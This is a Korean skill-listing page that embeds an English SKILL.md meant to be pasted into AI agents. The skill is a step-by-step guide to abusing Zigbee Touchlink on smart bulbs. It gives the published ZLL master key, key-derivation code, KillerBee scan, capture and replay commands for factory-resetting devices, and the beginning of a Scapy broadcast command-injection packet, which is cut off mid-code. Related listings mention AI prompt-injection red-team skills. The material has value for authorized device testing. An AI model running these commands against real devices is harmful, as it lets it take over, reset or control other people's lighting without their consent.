zigbee-touchlink
하는 일
이 가이드는 근거리 페어링 기능을 쓰는 스마트 전구 같은 Zigbee Light Link 장치의 보안 점검을 다룹니다. 자사 제품을 검토하는 스마트 조명 제조사와 테스터를 위한 것입니다.
사용하는 경우
- ✓스마트 조명 제품이 Touchlink를 쓰고 페어링 보호를 검토해야 할 때.
- ✓팀이 근처 장치가 전구를 초기화하거나 장악할 수 있는지 확인하려는 경우.
- ✓허가된 테스트에서 Touchlink 명령이 어느 거리까지 전달되는지 확인해야 할 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 스마트 전구는 Zigbee Touchlink를 씁니다. 근처 장치가 전구를 초기화하거나 장악할 수 있는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 페어링 키 처리를 검토하고, 통제된 환경에서 의도된 범위 밖의 명령이 받아들여지는지 테스트한 뒤 결과를 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Zigbee Touchlink Commissioning Abuse
Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism intended for close-proximity pairing (≤20 cm). The procedure relies on a well-known, publicly documented transport key (ZLL Master Key published in the ZigBee Light Link spec). In practice it works at distances of several metres with a directional antenna, allowing an attacker to steal devices off an existing coordinator, factory-reset smart bulbs, or inject ZCL commands without joining the network.
Prerequisites
- Hardware: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based). For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only.
- Firmware options:
- Sniffer: flash
CC2531_sniffer.hex/cc2652_sniffer.hex(TI) — Wireshark source, passive. - Attack: flash
coordinator_20230507.hexfrom Z-Stack 3.x — gives full TX.
- Sniffer: flash
- Software: KillerBee suite, Scapy with
scapy-radio, Python 3.x.
# Install KillerBee (Debian/Kali):
git clone https://github.com/riverloopsec/killerbee
cd killerbee && pip install .
# Confirm dongle detected:
zbid
Phase 1: Passive Channel Scan (zbstumbler)
# Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices.
zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt
# Capture all traffic on a discovered channel (e.g., channel 15) to pcap:
zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap
# Live in Wireshark with the ZEP plugin:
wireshark -k -i lo # after running zbwireshark -i /dev/ttyUSB0 -c 15
Key fields to identify in pcap:
- Frame Control =
0x8841(Data, ZigBee, PAN compress) - Cluster ID =
0x1000(ZLL Commissioning cluster) - Command ID =
0x00(Scan Request),0x01(Scan Response),0x07(Touchlink Reset)
Phase 2: Decode the ZLL Well-Known Transport Key
The ZLL Master Key (published in Zigbee spec 11-0037-10) is:
ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D
Derive per-device transport key:
from Crypto.Cipher import AES
ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D")
def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:
"""
ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.
Per ZigBee Lighting Profile spec section 8.7.
"""
data = bytes(a ^ b for a, b in zip(transaction_id + response_id,
b'\x00' * 8 + b'\x00' * 8))
cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)
return cipher.encrypt(data)
# transaction_id and response_id come from the Scan Request / Scan Response frames.
Phase 3: Touchlink Scan + Factory Reset
KillerBee includes zbtouchlink (or use the custom script below):
# Send Touchlink Scan Requests on all channels and listen for responses.
# A device that responds is susceptible to touchlink commands.
python3 - <<'EOF'
import time
from killerbee import KillerBee, PcapDumper
# Zigbee channel to target (scan 11-26 in production):
CHANNEL = 15
IFACE = "/dev/ttyUSB0"
kb = KillerBee(device=IFACE)
kb.set_channel(CHANNEL)
kb.sniffer_on()
print(f"[*] Listening on channel {CHANNEL}...")
while True:
frame = kb.pnext()
if frame and frame[0]:
data = frame[0]
# Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01)
if len(data) > 20:
print(f"[+] Frame: {data.hex()}")
EOF
Factory reset via zbreplay / custom ZLL Reset-to-factory-new:
# zbreplay replays a captured factory-reset frame at a target device.
# Capture a legitimate Touchlink reset first, then replay.
zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap
# Or use zbfind to locate the device before resetting:
zbfind -i /dev/ttyUSB0 -c 15
Phase 4: ZCL Command Injection (no network join required)
ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast with the source address spoofed. No association to the PAN is required for broadcast delivery on 802.15.4.
from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload
# scapy-zigbee or scapy-radio needed for ZigBee layers
# Toggle all On/Off devices in PAN (broadcast NWK dst 0xFFFF):
pkt = (
Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,
dest_panid=0xDEAD, dest_addr=0xFFFF,
자주 묻는 질문
키가 왜 문제인가요?
가이드는 전송 키가 공개적으로 문서화되어 있어 보호 효과가 거의 없다고 말합니다.
의도된 거리는 얼마인가요?
가이드에 따르면 Touchlink는 약 20센티미터 정도의 아주 가까운 페어링을 위한 것입니다.
스니퍼를 쓰나요?
가이드는 테스트 환경에서 트래픽을 관찰하기 위한 수동 캡처 도구를 언급합니다.
상세 정보
작성자의 원본 설명
Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14105
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.